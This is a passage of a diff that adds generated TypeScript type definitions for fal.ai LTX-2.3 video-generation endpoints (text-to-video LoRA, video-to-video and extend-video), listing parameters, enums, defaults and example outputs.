generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledTextToVideoLoraVideoQualityEnumKey + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledTextToVideoLoraSchedulerEnumKey +} + +export type VideoFile50D10C65 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledTextToVideoLora = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFile50D10C65 + /** + * @description The prompt used for the generation. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 149063119 + * @type integer + */ + seed: number +} + +export type ImageSize231D1824 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledVideoToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoAccelerationEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoVideoSize)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoVideoSize] + +export const inputFalAiLtx2322BDistilledVideoToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoSchedulerEnum] + +export type InputFalAiLtx2322BDistilledVideoToVideo = { + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 0.01 + * @type number | undefined + */ + audio_strength?: number + /** + * @description The prompt to generate the video from. + * @example style: cinematic/realistic. A man wearing a baseball cap walks through a modern town. He holds a coffee cup. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description When enabled, the number of frames will be calculated based on the video duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_video_length?: boolean + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 0.01 + * @type number | undefined + */ + video_strength?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledVideoToVideoVideoWriteModeEnumKey + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledVideoToVideoAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledVideoToVideoVideoOutputTypeEnumKey + /** + * @description The URL of the video to generate the video from. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSize231D1824 + | InputFalAiLtx2322BDistilledVideoToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledVideoToVideoCameraLoraEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledVideoToVideoVideoQualityEnumKey + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledVideoToVideoSchedulerEnumKey + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFile70Bd8Fca = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledVideoToVideo = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"GHF1uJnBb0iuYWQDuZrzG_WAtgthsP.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a922b2c/GHF1uJnBb0iuYWQDuZrzG_WAtgthsP.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFile70Bd8Fca + /** + * @description The prompt used for the generation. + * @example black-and-white video, a cowboy walks through a dusty town, film grain + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 1490631192028410600 + * @type integer + */ + seed: number +} + +export type ImageSize003Fa032 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledVideoToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoLoraVideoSize] + +export const inputFalAiLtx2322BDistilledVideoToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledVideoToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledVideoToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledVideoToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledVideoToVideoLoraSchedulerEnum] + +export type InputFalAiLtx2322BDistilledVideoToVideoLora = { + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 0.01 + * @type number | undefined + */ + audio_strength?: number + /** + * @description The prompt to generate the video from. + * @example style: cinematic/realistic. A man wearing a baseball cap walks through a modern town. He holds a coffee cup. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description When enabled, the number of frames will be calculated based on the video duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_video_length?: boolean + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 0.01 + * @type number | undefined + */ + video_strength?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledVideoToVideoLoraVideoWriteModeEnumKey + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledVideoToVideoLoraAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledVideoToVideoLoraVideoOutputTypeEnumKey + /** + * @description The URL of the video to generate the video from. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSize003Fa032 + | InputFalAiLtx2322BDistilledVideoToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledVideoToVideoLoraCameraLoraEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledVideoToVideoLoraVideoQualityEnumKey + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledVideoToVideoLoraSchedulerEnumKey + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFile39591A65 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledVideoToVideoLora = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"GHF1uJnBb0iuYWQDuZrzG_WAtgthsP.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a922b2c/GHF1uJnBb0iuYWQDuZrzG_WAtgthsP.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFile39591A65 + /** + * @description The prompt used for the generation. + * @example black-and-white video, a cowboy walks through a dusty town, film grain + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 1490631192028410600 + * @type integer + */ + seed: number +} + +export type ImageSizeCe818A18 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BExtendVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BExtendVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BExtendVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BExtendVideoAccelerationEnum] + +export const inputFalAiLtx2322BExtendVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BExtendVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BExtendVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BExtendVideoSchedulerEnum] + +export const inputFalAiLtx2322BExtendVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BExtendVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BExtendVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BExtendVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BExtendVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BExtendVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BExtendVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BExtendVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BExtendVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BExtendVideoVideoSizeKey = + (typeof inputFalAiLtx2322BExtendVideoVideoSize)[keyof typeof inputFalAiLtx2322BExtendVideoVideoSize] + +export const inputFalAiLtx2322BExtendVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BExtendVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BExtendVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BExtendVideoCameraLoraEnum] + +export const inputFalAiLtx2322BExtendVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BExtendVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BExtendVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BExtendVideoVideoQualityEnum] + +export const inputFalAiLtx2322BExtendVideoExtendDirectionEnum = { + forward: 'forward', + backward: 'backward', +} as const + +export type InputFalAiLtx2322BExtendVideoExtendDirectionEnumKey = + (typeof inputFalAiLtx2322BExtendVideoExtendDirectionEnum)[keyof typeof inputFalAiLtx2322BExtendVideoExtendDirectionEnum] + +export type InputFalAiLtx2322BExtendVideo = { + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BExtendVideoAccelerationEnumKey + /** + * @description The URL of the video to extend. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The number of frames to use as context for the extension. + * @minimum 0 + * @maximum 121 + * @default 25 + * @type integer | undefined + */ + num_context_frames?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BExtendVideoSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example Continue the scene naturally, maintaining the same style and motion. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BExtendVideoVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BExtendVideoVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: ImageSizeCe818A18 | InputFalAiLtx2322BExtendVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BExtendVideoCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BExtendVideoVideoQualityEnumKey + /** + * @description The URL of the image to use as the end of the extended video. + */ + end_image_url?: string | null + /** + * @description Direction to extend the video. 'forward' extends from the end of the video, 'backward' extends from the beginning. + * @default 'forward' + * @type string | undefined + */ + extend_direction?: InputFalAiLtx2322BExtendVideoExtendDirectionEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFile272Bdb1E = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BExtendVideo = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a894013/N9lnMTq7W3uMC0lOQg845_BknRPV8I.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFile272Bdb1E + /** + * @description The prompt used for the generation. + * @example A woman stands still amid a busy neon-lit street at night. The camera slowly dollies in toward her face as people blur past, their motion emphasizing her calm presence. City lights flicker 